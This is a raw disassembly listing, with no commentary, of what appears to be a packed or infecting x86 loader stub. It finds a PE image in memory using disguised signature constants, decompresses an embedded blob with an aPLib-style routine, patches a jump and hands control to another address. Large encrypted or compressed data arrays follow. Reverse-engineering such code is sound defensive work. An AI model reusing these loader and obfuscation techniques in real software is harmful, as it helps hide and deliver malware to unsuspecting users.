loc_4E0047:				; DATA XREF: ___:00437A64o
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074

loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------

loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53EEEA
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1

loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1

loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B

loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2

loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53EEEA
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 156333Ch, 0E101BCFBh, 3007EE1Ah, 8312D34h, 685401FEh
		dd 64696D65h, 0F43FC261h, 85702247h, 52805FF5h,	61747365h
		dd 7141E672h, 7C2E7A70h, 0AA1EE178h, 0EB1001CEh, 283F97AFh
		dd 34A11F3h, 21AFAC7Ah,	2174DD01h, 667F03C6h, 1FE10392h
		dd 2E71F2EAh, 3CBDEE11h, 21BCAE04h, 7F2103DCh, 7036917Fh
		dd 35457E8Dh, 0E4DD37C2h, 5E215C24h, 23DC3343h,	179879D5h
		dd 0E357D708h, 0D490C58Bh, 10E1E860h, 0ED815Dh,	64D334Bh
		dd 116D9589h, 3DB50DC2h, 0D485272Fh, 0BD830713h, 31C03A4h
		dd 0E88B0C74h, 3BB8E291h, 78C2594Fh, 0E3244470h, 0A4D3E88h
		dd 0E8456A03h, 682903A3h, 783749Ah, 0A80DFD2h, 0A894B25h
		dd 0E988D5F4h, 0EC025214h
		db 0BEh, 80h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 56h
		fsubr	st, st(6)
		add	bl, [edx-7Fh]
		jmp	far ptr	0C7DAh:8B003439h
; ---------------------------------------------------------------------------
		dd 8D84845h, 89400ED8h,	7D8108C7h, 331D80E6h, 8200F74h
		dd 24A383F9h, 12C3FF10h, 1BE1EB43h, 2661DC36h, 4C2C9A0h
		dd 0C48146A0h, 2FF7C34h, 20824972h, 8B80458Dh, 0C7085D0Ah
		dd 50221985h, 0D10A8D50h, 1888C305h, 0B458941h,	610BD81h
		dd 0E375145Dh, 0BA8DA127h, 75606447h, 240E8A80h, 805BF4BBh
		dd 5437ABB8h, 0D07ED378h, 4B080F61h, 0AFD8F775h, 464729C3h
		dd 1546234Ah, 0D11542F9h, 0D0D08A61h, 0C5FEF03Ah, 5FC45EEh
		dd 1E04EB4Dh, 804646ADh, 0F729403Eh, 34B784BAh,	0EB0C7D30h
		dd 0F83EC87Fh, 42126D66h, 0F40E65F0h, 0C14A1040h, 0A004F065h
		dd 1CD1F8D6h, 0B0C203E0h, 8ADB3328h, 80301C0Eh,	0A7266FBh
		dd 77391E0Ah, 79EB9F05h, 61142233h, 0A3F0DFBh, 1E08B766h
		dd 0AC3A7AFh, 181A1056h, 0A0B7241h, 66F7746h, 10C5124h
		dd 0F4ECF05Dh, 8D7D8339h, 0CB07202h, 0A576C09Bh, 2620AAB3h
		dd 8D03E7F8h, 3BA800B5h, 820FFC55h, 0B0BD7854h,	38DFAAE0h
		dd 870BA28h, 7054B970h,	0C820BDFCh, 0FFE0035h, 0FA754947h
		dd 6AE222B9h, 171BBEEh,	8237F1FAh, 0C08E0CEBh, 37DC868Eh
		dd 51071C4Eh, 1D361B65h, 268A72FFh, 0E90785h, 8C675905h
		dd 1B1FB8DFh, 658C32Ch,	0D2D81Bh, 67A2E771h, 5C9B95BCh
		dd 1FC012FEh, 8C330598h, 9ED000B2h, 47D77704h, 44011BFEh
		dd 58B8EE63h, 34438810h, 67808E5Ch, 0C16BE2F1h,	9F04E954h
		dd 0C4DC211Fh, 255D8A80h, 0CC458205h, 44211708h, 7C45406h
		dd 72B0B141h, 34CB38E0h, 39820077h, 0F765B4Eh, 510FB810h
		dd 8ED1043Dh, 746C83Bh,	562E0975h, 48050E11h, 9065E4ECh
		dd 8440761Fh, 968E05C5h, 53A1A9EFh, 0C204151Eh,	718C1929h
		dd 0EB7E7B6h, 2BFF66E2h, 4778118h, 3341D22h, 33F984C1h
		dd 0BC202075h, 0EC0AEE3Fh, 230CEEFh, 13EC4167h,	0CC3F7F8Ch
		dd 9F4021FFh, 60E9D445h, 52C462A0h, 254D8C01h, 0B1AA8211h
		dd 5AAB9A09h, 56131184h, 5E050723h, 54FAEE82h, 0B8222881h
		dd 0B9518A7Dh, 97230213h, 0EF814394h, 725B1853h, 558A23C4h
		dd 43001D11h, 0F5DCC453h, 73004716h, 375C386Dh,	0C8DA8D67h
		dd 60C3584Eh, 7D8A91C4h, 48881A18h, 4FC40058h, 7784B712h
		dd 3909BC57h, 8709768Bh, 0E232F9F3h, 112C9705h,	0D5638017h
		dd 0A9BCAFh, 0B79199Dh,	238610CAh, 1E4F27D4h, 824AC8D9h
		dd 2189D13h, 0C009EA1Bh, 7FCD960Bh, 0A21F8FFFh,	275BD1BFh
		dd 0FD3C291Bh, 22423E1Fh, 0DBD44C15h, 76633C00h, 48E3A57Ah
		dd 5E98DC09h, 1F388324h, 8AF0F7B7h, 0C2153286h,	38F1046h
		dd 1CDB3286h, 300C2A20h, 501B0EE9h, 2C0099CDh, 65E59343h
		dd 24BE39D5h, 0CAC94F4h, 0FCDE5AF8h, 9EC2820Ch,	6061346Fh
		dd 62F416F6h, 0FA70D334h, 100B3506h, 590881h, 0BF93BC51h
		dd 595F3ABBh, 8023EA4Ch, 0E94EB5Eh, 18F20169h, 4D600FD3h
		dd 5150C8FFh, 82309900h, 652343C1h, 18989007h, 163926D7h
		dd 362A8C35h, 12C1B93Dh, 7857DE89h, 72D5C7FCh, 1046C220h
		dd 0CF980484h, 50C90F1h, 170AEA12h, 981A07FDh, 0C1DEA37Ch
		dd 31F6136Ch, 0D564C4ACh, 26E1786Fh, 0FE13E7C3h, 932138FBh
		dd 3FFA270h, 11CEA68h, 0D972060Bh, 0D01AE8AFh, 6E18A047h
		dd 0FA4C9222h, 766A59EAh, 0E0C37900h, 0FDC9E66Fh, 17B7EC00h
		dd 9BD60347h, 3169001Ah, 0FF6402ACh, 23187CC5h,	5F2016C3h
		dd 7608C124h, 0E09DC191h, 0C80E7E17h, 0C0349231h, 6CD29AD4h
		dd 0D6831C71h, 0FE1F81C2h, 80195FFBh, 703CA739h, 19DB5BC5h
		dd 5971E3C1h, 0BA841018h, 0DA900C6Dh, 0D1402B0Dh, 1000097Ch
		dd 920B2C47h, 7C505Ah, 0DC63073Bh, 0D7CCA2CAh, 27069B71h
		dd 4C81F9Eh, 187A9831h,	0C0077495h, 777C8856h, 6FCF6B80h
		dd 0C1F7083h, 77197C8Eh, 1364C519h, 9ADC4A30h, 84A70034h
		dd 607C3F44h, 0AD0371C7h, 20CDFFB0h, 47292008h,	5F93400Ch
		dd 1C922h, 7CA9A89Bh, 715A61EDh, 6C2E2473h, 0DA1343B1h
		dd 8AEC6306h, 2D3D0079h, 0A4E6125Bh, 0FF07A014h, 62B7C4EAh
		dd 0E56CFE70h, 0A9E40068h, 0DC043A06h, 4D005D7Bh, 0D088B68Eh
		dd 3EC3C0h, 54790994h, 20722B6Bh, 5084D453h, 340A5F87h
		dd 0A0521E33h, 92561439h, 9A6F8088h, 0C1AECFCCh, 0CE138C58h
		dd 68288351h, 8E2FA0D0h, 0C2C9860h, 16FD12BFh, 0E41899E9h
		dd 86389C68h, 0A72D033Ch, 6D95FB8Eh, 0D4994006h, 520A694h
		dd 6B847964h, 0D2EC0827h, 120B3640h, 5C88366h, 7106B303h
		dd 2537C0D4h, 0C14CA378h, 4985A2ACh, 4157FA23h,	926E52E0h
		dd 35B4F8A8h, 20A92400h, 8165CA1Dh, 0D01252CEh,	0AB90D00Ch
		dd 4F221C9h, 50A5F430h,	0C626FB12h, 5958F9D1h, 0B5409D00h
		dd 0C52F3981h, 734600C0h, 0D7B4489Ah, 69065CF9h, 599E3390h
		dd 0A80801B8h, 0C8CE0163h, 0E00C212Ah, 0B0A87EECh, 0F700F2E5h
		dd 0DD710D0Bh, 6BDD713h, 622B0CA7h, 9B0A4058h, 9497DCCCh
		dd 9F015444h, 242528C5h, 7D448F60h, 489D2285h, 0C6534002h
		dd 0A00E3062h, 149BEFA8h, 0FFD5008Fh, 16B5DC31h, 340C56D3h
		dd 3950F9D6h, 32940039h, 0BC0AFD8Eh, 7BE406ECh,	0E17561C2h
		dd 722160E2h, 0FF5B03A1h, 87EC6B14h, 6E3E2100h,	0A844F705h
		dd 0B78001Dh, 96C8E1BFh, 460A075Dh, 903CBB76h, 3775E08h
		dd 8538FC99h, 0FB0CE00Eh, 0BD18B859h, 0B9166130h, 0CC6A5F1Ah
		dd 0CC093905h, 0AC40DEh, 0B5078D6Eh, 0B8091501h, 940018AFh
		dd 1E48D386h, 4B1D2479h, 80C0D65Ch, 2F9AF36Bh, 0CD03EAAh
		dd 38020048h, 223B9070h, 84A57F00h, 0F2ACA00Ah,	0EE131434h
		dd 643F5462h, 80986140h, 46C02C54h, 49429018h, 20CDF940h
		dd 47013B13h, 8BD78678h, 90509227h, 33FC9D76h, 248B3C6h
		dd 6F46798h, 0B634BA24h, 0D1F00100h, 0C0375B88h, 0BBD0FA50h
		dd 1707B007h, 42CD4FBCh, 0DEBB170h, 712E00A6h, 3F364363h
		dd 0D403D25Ah, 0DE7AD0A9h, 8D08D922h, 0E8319BF8h, 4FC7004Ch
		dd 0ADFC4769h, 843C4ED4h, 51AB0F50h, 3F78097h, 745791h
		dd 0A9EEBCDFh, 0C5D67AD8h, 0FA1C8500h, 8E190848h, 7D20738h
		dd 909BDC13h, 0BBE0B15Dh, 93D4120Fh, 9675A40Dh,	7830ACC8h
		dd 85618072h, 38489B22h, 1120123Fh, 490C08F0h, 0F042F3C0h
		dd 5E963185h, 50153029h, 5B33FCE8h, 0CD127800h,	24FF3B08h
		dd 884C0134h, 4A900FEEh, 309420F7h, 148C7A40h, 0DC552DFBh
		dd 6327E103h, 714C1E5Eh, 10C000B8h, 0E2C546C3h,	363509B7h
		dd 98824465h, 0D1012577h, 0FAFCC876h, 6A80971h,	58105DFBh
		dd 0A7408404h, 1EA1D2C1h, 69404094h, 0FD62023h,	0F71219C4h
		dd 101988C8h, 381BC04h,	301356C4h, 0F4290010h, 728F282Dh
		dd 0D9005237h, 4C293E24h, 289579EFh, 0CA81708h,	38539878h
		dd 21605FA0h, 820AB659h, 0D5B70352h, 0F168171Ch, 92616E88h
		dd 0A6E63A01h, 401F8850h, 71233880h, 2629DA02h,	109C9558h
		dd 267C472Eh, 2884FD2h,	1F63A070h, 27501CC6h, 408A4DCCh
		dd 8215F3FCh, 31C27863h, 2C3C900Fh, 71A78819h, 4420600Ch
		dd 20FB9B44h, 0BC586229h, 0C85C48BCh, 3F356099h, 11C34EFAh
		dd 0F8512ABDh, 1211D647h, 82C090Fh, 0E0016ECCh,	0C0F91217h
		dd 5B22D432h, 0E5008EF0h, 355C54FAh, 1D0061Ch, 7193FF9Ch
		dd 87D7918Ah, 0D31730D6h, 39D66C5Fh, 0FC845856h, 2690E098h
		dd 60ABA088h, 0E146D821h, 0EB648556h, 0C81D629h, 8E039834h
		dd 566C5EC9h, 922261ACh
		dd 98700CA6h, 74483A2Bh, 8C56DA08h, 8002020Fh, 20E89CCDh
		dd 9629C7CAh, 5E0084F9h, 2AC11960h, 2C9D4D75h, 7D117211h
		dd 0A1B8FC10h, 6077BB14h, 801A2050h, 847190D4h,	98A5E083h
		dd 48609A1Bh, 0E5C028E4h, 38F77F84h, 0F3178100h, 3686EFAEh
		dd 33BB026Ah, 0E8CCD76Eh, 0FCCCECCAh, 0FC00C47Eh, 0AC44202Dh
		dd 7278E64h, 66F8C8D2h,	0FB602091h, 1F15D7B9h, 3D00DCAh
		dd 0D4A5A963h, 0A7880934h, 4308D764h, 12FD402Ch, 0D9015346h
		dd 7E5CE78Bh, 0C1E80509h, 0A01E0F29h, 0C00AD0Bh, 83EBA771h
		dd 97E6F9C1h, 0F3D435E5h, 5F735Dh, 0B11D4C26h, 0D7FAD26Fh
		dd 12996000h, 5D9F62A7h, 0BC715CCEh, 0B2008922h, 84F38E51h
		dd 672D9Dh, 315E4E34h, 0ED27C34Bh, 0BF53AE03h, 0AC9F8599h
		dd 12DE1C89h, 15C02460h, 90B8D080h, 1CDCA9B2h, 0DE18A010h
		dd 0EE68FF0Eh, 0B64E38Dh, 309DC0E5h, 488A942h, 907852E8h
		dd 0CF1F1524h, 69009C06h, 90A90A01h, 8563D82Bh,	14CF920h
		dd 9EEA0E89h, 0E5FC7720h, 0D181F896h, 8810DC90h, 0E44C3BDBh
		dd 0DF985006h, 0D4051023h, 8B2CCC99h, 5FC6EC02h, 154E2E1Dh
		dd 0E67A7C20h, 0C1002A64h, 9BBB1CB1h, 92B5D4FCh, 4E0310ECh
		dd 0ECF67C74h, 743019D6h, 3E5FBFh, 6B5EA67Dh, 48D0A191h
		dd 2E839817h, 0D308E443h, 1BF388h, 209BD710h, 7526338Ch
		dd 8AFBE1C8h, 93841230h, 816F0A0Fh, 0A941009Bh,	3F5AE046h
		dd 0C56B6F02h, 0C0D62979h, 80A4100Ch, 21093683h, 6678B5A8h
		dd 5FF81808h, 7A05F159h, 0AD7FC509h, 4CF84050h,	8593067Dh
		dd 0D182ECD1h, 0D81FE6ECh, 68C0C4DBh, 495DF055h, 9B6E0E70h
		dd 0D6460C13h, 0E300B86Ah, 52ABFF0Fh, 0C0ED44Fh, 9140DC42h
		dd 413E0190h, 0AAD9E0FAh, 3899948Dh, 0D480E00Ch, 1AE86A6Fh
		dd 0FB011219h, 760246C1h, 5C46CD20h, 0C91F2516h, 0B0029829h
		dd 0B0525C39h, 0A84D820h, 5B958549h, 568B50A0h,	9CC07100h
		dd 4AE5131Ah, 0DF51017Dh, 5249DC89h, 9F3888DEh,	8E570402h
		dd 578C87Fh, 93E2C92Ch,	0D72EA801h, 60873CDFh, 8AFF4070h
		dd 4E1B44ACh, 16360082h, 1A380C0Eh, 31D5BCB8h, 0D8BB9087h
		dd 86C8DC03h, 415007h, 9D6D40F2h, 0AF09CC18h, 3463D0h
		dd 0B126D7F8h, 5B473A91h, 6460D802h, 845F9785h,	294E1674h
		dd 0A2A57300h, 67DBBABh, 8F21DE07h, 0E8F0625Ch,	0B807C719h
		dd 23EB20BCh, 43B8D648h, 4A3308ACh, 60C3E56h, 1190D7DEh
		dd 0C374B449h, 0C7BD5CCDh, 700A440Fh, 2F78C0C1h, 3D483A07h
		dd 0A961F180h, 65484F26h, 9AC0AF00h, 193CAD46h,	93810FA4h
		dd 1F6E707Bh, 17D43E30h, 3C41DCCCh, 0ADEC3C84h,	0E443E883h
		dd 180C792Ch, 882A0BBDh, 0D09E3101h, 8809D279h,	251488h
		dd 0D76AEBC8h, 10C067Fh, 190844CEh, 89631CF3h, 91EFE92h
		dd 3A3FC3C9h, 0AEC0739Dh, 689A2154h, 0E0F681FCh, 0F1393460h
		dd 3E558928h, 1C3DA926h, 24C91962h, 3FCF8520h, 12602C86h
		dd 382810FCh, 68AE9602h, 5D0AB041h, 75710391h, 2E10040Eh
		dd 892C0004h, 96B394Bh,	62ED0769h, 0E36EA4ECh, 19761341h
		dd 0EF15670Ch, 494010h,	0D04A8D8Ch, 8881E0Bh, 84BC59C0h
		dd 793E557h, 7342C6Ah, 0D628C66Bh, 2F96C03h, 1A4483Dh
		dd 0A12E538h, 0F0AA25D9h, 0F6F0E226h, 3010D568h, 0F3330860h
		dd 85800077h, 69DC4CC1h, 9100049Eh, 6C5CC039h, 30ED6509h
		dd 92B8BCA9h, 99F06814h, 710C460h, 0A16D2E08h, 88DA17Ch
		dd 3992D28h, 0B1036984h, 612E39Eh, 8880CD1h, 51386A02h
		dd 93969800h, 40DE8A5h,	30DE5117h, 948AD807h, 0D8A00FB9h
		dd 3131002h, 0C8FE185Dh, 57F9D4E3h, 5014F508h, 0C5A7B4C0h
		dd 46A84C05h, 0FD55DA90h, 0EDDC8C8Ch, 395799Dh,	0DAEB52A2h
		dd 2006D601h, 8EEDE703h, 14A3F4E9h, 189EC592h, 7274187Dh
		dd 1CEB8050h, 680C16E0h, 7015E114h, 699900ABh, 6C904F10h
		dd 83018735h, 15AD43F7h, 0C0984577h, 0D519417Ah, 0E9F42C30h
		dd 14BDCAEh, 93F98DFEh,	0D01B89E7h, 7809877Ah, 8D16B792h
		dd 71D98980h, 22129848h, 6818BF91h, 0B651442Ch,	74E8E6E3h
		dd 1B74F1h, 83C674EDh, 8B536E67h, 0DD2F0E14h, 20199D94h
		dd 118009C8h, 0A62EDB8Dh, 0EB19E615h, 96600375h, 92ED108Ah
		dd 0DA278090h, 12DF5ACBh, 906202F4h, 0B6D03B18h, 0DC4D5428h
		dd 628A78Fh, 586A55D6h,	833C8C48h, 0F0C939E2h, 7443A59Ah
		dd 88A1180Fh, 5E68F10Ch, 1FD55305h, 403CD15Ch, 0A1B80CE2h
		dd 9F390B87h, 8E984303h, 0D828170Eh, 0C696B3CFh, 41748891h
		dd 31103C37h, 15D63C4Ah, 0A471EAE6h, 5A464D06h,	58A0D979h
		dd 34A515B8h, 42FE8E4h,	44FE8EFAh, 16A14287h, 0AC240C87h
		dd 1B8B8CCh, 2E0B8DA8h,	44582C2Dh, 4CBC7848h, 60FEBA8Dh
		dd 15C19122h, 0A8908FF5h, 7835EB22h, 200D675Ch,	6166E612h
		dd 80543950h, 13382084h, 0F80CFDEAh, 71128AA0h,	96B90093h
		dd 4D7F6A99h, 0CD060233h, 767A2CF1h, 0B670A091h, 88B90328h
		dd 38ECE705h, 15058172h, 9A87E30Fh, 923E2032h, 94F63BCh
		dd 1C441708h, 0F29C0Fh,	0D619F9A0h, 0B212160Bh,	104F0C47h
		dd 900B017h, 1996863Bh,	3F1CA1DAh, 320085CFh, 0D0BC35ADh
		dd 0B23400D5h, 0AAD45A90h, 210008B5h, 4CE770F3h, 19E95B3h
		dd 20A18614h, 0D4579D98h, 1A0042AEh, 13BDFF7Fh,	19E5BE1h
		dd 0B0BE2AF5h, 0F725DBD9h, 0C10840BEh, 139793h,	34A2984Ah
		dd 42007DC7h, 0C809AB08h, 5E0D26h, 9A1690B5h, 50DBC597h
		dd 0E6713300h, 0C393C46Ah, 3A86002Dh, 34A3BB44h, 4C587DCDh
		dd 40FA980h, 0EF8D5FBh,	64BE1FADh, 0D887C736h, 0D02074F7h
		dd 11CD525h, 0ED19AA75h, 0E811C3E5h, 0B4002B3Dh, 9493D851h
		dd 60A5B757h, 0CF584020h, 0D000BBCh, 23C8FDE6h,	7C75E06h
		dd 0B0C64739h, 1F56A0DDh, 0BDFCBE9Bh, 3BD33708h, 0ABBC0284h
		dd 0FF00D259h, 0BB2EE5h, 0C95DE121h, 97C11DADh,	3DF4CEE4h
		dd 3879E71Fh, 1AC43700h, 56A6B8h, 9C35ABF5h, 0B118F2BCh
		dd 0FBB2B13h, 0BA943814h, 440093ECh, 0D15BA7BDh, 1A45AEh
		dd 21C8FCE6h, 0A1BC5DE0h, 0A79A4700h, 0F33A11C5h, 133F4ECh
		dd 2DD8A2B4h, 0F820A8C1h, 0E1F3FAAh, 7E800C9Ah,	9426BE03h
		dd 3ACE002Ah, 98B8D346h, 61003DA5h, 0CF27B6D0h,	0F57DCA0h
		dd 0BB22A8C0h, 0F64046CCh, 2A73200h, 1C942BC8h,	1B953BB2h
		dd 0E0F9CBFh, 0E880373Bh, 9731CF23h, 6AB22D00h,	34A1BB4Dh
		dd 1AD700Eh, 0CA02A90Dh, 6615A22Ah, 3AF0AB8Ch, 1900ADCDh
		dd 9C57A798h, 3E02F7AEh, 0CE01317Ah, 0A9F05DA1h, 0DCC90021h
		dd 71360037h, 967D4BBBh, 86000897h, 0AAD91994h,	7181CA1Ah
		dd 1760F0Ch, 35E00FC5h,	0BC1962C1h, 0A9AB100h, 0B6E24C22h
		dd 95A00E70h, 6AC054C4h, 45A2BE1Dh, 7B0CB00h, 0B232E5EFh
		dd 5DD400D0h, 0C348A8E2h, 8009A96h, 0E7E1F24Fh,	8FBF27h
		dd 6A8C13D3h, 33ADC02Ah, 0B830E00h, 0BF70AB07h,	76E20521h
		dd 824361D0h, 0E421DBACh, 383051BEh, 0A30899DEh, 1FF47F04h
		dd 0C026A99Ah, 6C24D1B1h, 0FA70A576h, 4815770Ah, 553490h
		dd 81AD182Dh, 770E6658h, 8002FCB0h, 0E83035F5h,	181CAEB1h
		dd 10C40188h, 65008CB4h, 740BD0A3h, 30A1040Eh, 31299590h
		dd 2102529Ch, 6CF1D027h, 6074F810h, 94502137h, 8800EC52h
		dd 0BFA3FEE3h, 0A295FBh, 2558E3Ch, 6C2D9490h, 0F85879C0h
		dd 6F1B846h, 0F911E76Bh
		dd 30BE0853h, 465F3980h, 225EE037h, 0CD00E52Bh,	413DD5FDh
		dd 0EF1187Ah, 32ED115Ah, 43835FEEh, 42808290h, 0FE0057C5h
		dd 77B5929Eh, 16EA4DFh,	0EBE87891h, 7C15D4DAh, 5B82006Ch
		dd 0B86A9661h, 8C0454D8h, 0BF740090h, 770BD2C3h, 9D569EE5h
		dd 5269201Ch, 0E500A43Dh, 2641ABBAh, 230102AAh,	5C8EF814h
		dd 0A84048C1h, 0C055D97Dh, 98892768h, 9066C51h,	0B45BB593h
		dd 341272A1h, 8508F72h,	0F9C0D398h, 46F19D46h, 0B542253h
		dd 0AD466038h, 0AE2EED81h, 0D798E04Ch, 407DF91Eh, 864179C1h
		dd 12A2D54h, 87A27894h,	707852h, 0A3EDDC3h, 5F16EA5h, 881D15ADh
		dd 0E3884007h, 8CFBABB4h, 954C8906h, 5D08D184h,	0C800ECD7h
		dd 8D0EAB9Ch, 36608974h, 0C912E360h, 2398A3E1h,	96201B50h
		dd 0B98CFD14h, 80E08828h, 3CABA2C6h, 0DD0345F3h, 744E62EFh
		dd 0C16ACB36h, 9841B552h, 80782B94h, 601E6064h,	23F2ABB3h
		dd 0DF11818Ch, 0AB9BC900h, 33E6A98Ah, 7207ADE4h, 1E3A955Fh
		dd 6890A6F4h, 0C947Fh, 0B0414FDCh, 9B1106CDh, 0F100F47Ch
		dd 0B40D17D2h, 0C04AE568h, 3C8CFE91h, 80A18FECh, 0A55280E8h
		dd 0E6222D1Ah, 0FD2E0049h, 0B4A120B7h, 0E23E485Ah, 0F81203E1h
		dd 0E8726793h, 4AD95505h, 4564D19Eh, 3AA044A4h,	1D923C8h
		dd 0F1E249B9h, 84C4C92Ah, 6E951248h, 22C31897h,	0D31900C1h
		dd 8CDFE3ABh, 96094C11h, 5A6E2060h, 0D0B02080h,	4E3EF30Fh
		dd 9FD3E377h, 695A318h,	89BFED8h, 8E005970h, 0D9D8F6B5h
		dd 6B02318h, 90124067h,	0BF12216Ah, 64029D69h, 802DE793h
		dd 3531741Ch, 0F7AE043Fh, 0A9E5E614h, 8CDE0180h, 9D612D90h
		dd 64EB9E3h, 0F22E5420h, 6B472434h, 49AC1CA4h, 0C820E92Ch
		dd 0D3534486h, 0A8111301h, 0D2975FC2h, 1FF4684Dh, 0E97B31h
		dd 0D929338Fh, 22E3659Dh, 0BCE54D2Ah, 0C2F10F06h, 10F9A0h
